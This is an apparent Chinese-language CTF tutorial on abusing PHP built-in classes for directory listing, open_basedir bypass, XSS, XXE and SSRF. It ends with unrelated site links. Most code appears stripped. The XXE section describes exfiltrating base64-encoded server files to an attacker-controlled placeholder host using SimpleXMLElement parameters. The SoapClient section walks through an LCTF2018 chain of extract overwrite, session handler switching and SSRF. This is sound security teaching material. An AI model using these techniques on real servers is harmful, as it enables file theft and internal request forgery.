【PHP_原生函数的利用】

一、什么是原生类



二、什么情况下需要原生类

三、目录文件读取类

Directorylterator


Filesystem

GlobIterator

遍历目录类 | 绕过open_basedir

文件读取类 | SpIFileObject

不能用遍历可以用伪协议


练习



四、报错类

Error


报错类 | XSS利用



绕过哈希比较

五、原生类

反射类



练习


六、压缩类




运行后就可以看到shell.php 被删除了

练习



七、SimpleXMLElement


练习


evil.xml:定义了外部实体引用,通过http://xxx.xxx.xxx.send.dtd加载远程DTD文件

send.dtd:定义了实体%file读取服务器文件(如function.php)并Base64编码,然后通过实体%all和%send将数据外带到攻击者的HTTP服务器(http://xxx.xxx.xxx.xx:1234/)。

module=SimpleXMLElement:指定实例化PHP内置的 SimpleXMLElement类。

args\[\]=http://xxx.xxx.xxx.xxx/evil.xml:这是传递给类构造函数的 第一个参数($data)。它告诉 SimpleXMLElement从一个 远程URL​ 加载XML数据。这个URL指向攻击者控制的VPS上的 evil.xml文件。

args\[\]=2:这是 第二个参数($options)。值 2对应 LIBXML_NOENT常量,该选项会启用外部实体替换,这是XXE攻击能够成功的关键。

args\[\]=true:这是 第三个参数($data_is_url)。设为 true表示第一个参数 ($data) 是一个XML文件的URL,而不是直接的XML字符串。

受害者服务器(靶场):当访问上述链接时,show.php会实例化 SimpleXMLElement类。

类加载远程XML:由于 $data_is_url为 true,该类会向 http://xxx.xxx.xxx.xxx/evil.xml发起HTTP请求,获取恶意XML内容。

攻击者VPS(evil.xml):evil.xml文件中包含了恶意的 DTD(文档类型定义)。这个DTD通常会做两件事:

定义一个外部实体,通过 php://filter等伪协议去读取服务器本地的敏感文件(如 function.php、index.php等),并进行Base64编码。

定义另一个外部实体,将读取到的文件内容通过一个HTTP请求发送到攻击者VPS的另一个监听端口。

解析与数据外带:SimpleXMLElement在解析 evil.xml时,因为启用了 LIBXML_NOENT,会执行DTD中定义的这些操作。

八、SoapClient 类


通过换行符构造了一个post 将原本的header信息挤进了body里面

练习

先拆解 index.php关键代码的作用:

b = 'implode' 将字符串 'implode' 赋值给变量 b

call_user_func(_GET\['f'\], _POST); 核心漏洞点

call_user_func用于"调用由第一个参数指定的函数,第二个参数是传递给该函数的数组型参数"。因此,攻击者可通过 GET的 f 参数指定任意函数,通过 POST传递函数参数,实现任意函数调用。

复制代码
if(isset($_GET['name'])){ $_SESSION['name'] = $_GET['name']; }:若 GET传 name,则将其值存入会话 $_SESSION['name']。

$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');:reset($_SESSION)

取会话数组的第一个元素值,因此 $a是 会话第一个元素值, 'welcome_to_the_lctf2018'

call_user_func(b, a); 因 b=′implode′,等价于implode(b = 'implode',等价于 implode(b=′implode′,等价于implode(a) 将 $a数组用空字符串拼接成一个新字符串。

所以这段代码的含义就是通过 call_user_func 将传入的 f 当成函数来执行post里面里的参数,如果有给name传入参数就将传入的name存到session里面,而flag.php 如果本地访问就将flag存入session

在 index.php 代码中,call_user_func(_GET\['f'\], _POST);允许调用任意函数。通过传入 f=extract,然后 POST数据中包含 b=call_user_func,就能覆盖 $b变量。

复制代码
$b = 'implode';

请求触发覆盖:

复制代码
发送 GET请求:index.php?f=extract

发送 POST数据:b=call_user_func

这会导致执行:

复制代码
call_user_func('extract', $_POST);

相当于:

复制代码
extract($_POST);

extract(_POST)会将 _POST数组中的键值对转换为当前作用域中的变量。例如 _POST\['b'\] = 'call_user_func'会使 b被赋值为 'call_user_func',从而覆盖原来的 $b = 'implode'。

覆盖后,代码最后的 call_user_func(b, a);变为:

复制代码
call_user_func('call_user_func', $a);

这实际上是调用 call_user_func函数,并将 a 作为参数传递。而 a 是一个数组,其第一个元素是 reset($_SESSION)(是我们精心构造的 SoapClient对象),第二个元素是字符串 'welcome_to_the_lctf2018'。

因此,最终执行的是:

复制代码
call_user_func(reset($_SESSION), 'welcome_to_the_lctf2018');

这就会尝试调用 SoapClient对象的 welcome_to_the_lctf2018方法(不存在),从而触发 __call魔术方法,发起 SSRF 请求。

这段代码给session_start函数传入

data = {'serialize_handler': 'php_serialize'}

通过这个 POST 请求,服务器端的 session_start()会使用 php_serialize处理器来处理会话数据,从而保证后续插入的 SoapClient 序列化字符串能被正确解析

构造利用的必要性:

我们需要在 $_SESSION中存入一个包含 SoapClient对象的数组:SoapClient对象, '方法名',这样 reset($_SESSION)才能返回这个数组。

只有 php_serialize能正确存储这种结构,保证后续读取时 SoapClient对象被正确恢复(触发 __call)。

相关推荐
TlSfoward14 小时前
抓包代理链路下的 TLS 指纹变化分析 TLSFOWARD抓包工具
数据库·爬虫·网络协议·搜索引擎·php
—Miss. Z—18 小时前
计算机二级MySQL——简单应用题(存储过程&存储函数)
数据库·oracle·php
故乡de云18 小时前
AWS 添加付款方式失败排查清单:卡片、银行风控与账号状态逐项定位
开发语言·php
梦梦代码精19 小时前
基于ThinkPHP6 + Vue3的家政预约系统全解析:从LBS定位到自动派单的完整实现
java·docker·开源·php·代码规范
郑州光合科技余经理19 小时前
家政O2O平台解析:从0搭建上门预约小程序解决方案
android·java·开发语言·前端·小程序·架构·php
lxw184491251421 小时前
PHP后端(CI框架方向)面试题库,分为基础必问、MySQL、Redis、工程运维、高阶加分、场景实操六大模块,适配该JD全部考点,附带标准答案
ci/cd·面试·php
郑州光合科技余经理21 小时前
家政预约小程序后端源码深度剖析:支付回调实战
java·开发语言·前端·git·小程序·架构·php
weixin_408099672 天前
2026 图片去水印 API 接口完全指南:一键去除图片水印(附 Python/Java/PHP/C# 示例)
java·python·php·图片处理·api调用·图片去水印·石榴智能
王莎莎-MinerU2 天前
MCP 解决的是工具接入,科研 Agent 还缺的是科学证据接口标准化
开发语言·网络·人工智能·深度学习·pdf·c#·php
AC赳赳老秦2 天前
OpenClaw 采集任务日志审计:全程记录采集行为,满足合规溯源与企业审计要求
java·大数据·python·数据挖掘·数据分析·php·openclaw